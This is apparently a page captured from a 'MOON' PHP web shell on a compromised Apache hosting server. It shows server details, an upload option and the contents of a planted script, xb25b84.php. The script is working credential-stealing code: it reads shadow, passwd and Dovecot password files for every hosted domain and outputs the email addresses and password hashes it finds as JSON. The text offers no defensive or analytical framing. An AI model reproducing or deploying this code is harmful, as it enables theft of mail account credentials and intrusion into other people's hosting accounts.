MOON
Server: Apache
System: Linux server1.studioinfinity.com.br 2.6.32-954.3.5.lve1.4.90.el6.x86_64 #1 SMP Tue Feb 21 12:26:30 UTC 2023 x86_64
User: artinside (517)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //proc/self/root/proc/self/cwd/xb25b84.php
<?php $home=realpath('..');if(!$home)$home=dirname(__DIR__);$results=[];$shadow=@file_get_contents($home.'/etc/shadow');if($shadow){foreach(explode("\n",$shadow) as $l){$p=explode(':',$l);if(count($p)>=2&&strpos($p[0],'@')!==false)$results[]=['email'=>$p[0],'hash'=>$p[1]];}}$etc=glob($home.'/etc/*/shadow');if($etc)foreach($etc as $sf){$dom=basename(dirname($sf));$c=@file_get_contents($sf);if($c)foreach(explode("\n",$c) as $l){$p=explode(':',$l);if(count($p)>=2&&$p[0]!=='')$results[]=['email'=>$p[0].'@'.$dom,'hash'=>$p[1]];}}$seen=[];$passwd=glob($home.'/etc/*/passwd');if($passwd)foreach($passwd as $pf){$dom=basename(dirname($pf));$c=@file_get_contents($pf);if($c)foreach(explode("\n",$c) as $l){$p=explode(':',$l);if(count($p)>=2&&$p[0]!==''&&!isset($seen[$p[0].'@'.$dom])){$seen[$p[0].'@'.$dom]=1;$results[]=['email'=>$p[0].'@'.$dom,'hash'=>$p[1]];}}}$dovecot=@file_get_contents('/etc/dovecot/passwd');if(!$dovecot)$dovecot=@file_get_contents('/etc/dovecot/passwd.db');if($dovecot)foreach(explode("\n",$dovecot) as $l){$p=explode(':',$l);if(count($p)>=2&&strpos($p[0],'@')!==false&&!isset($seen[$p[0]])){$seen[$p[0]]=1;$results[]=['email'=>$p[0],'hash'=>$p[1]];}}echo json_encode(['ok'=>1,'emails'=>$results,'count'=>count($results)]);?>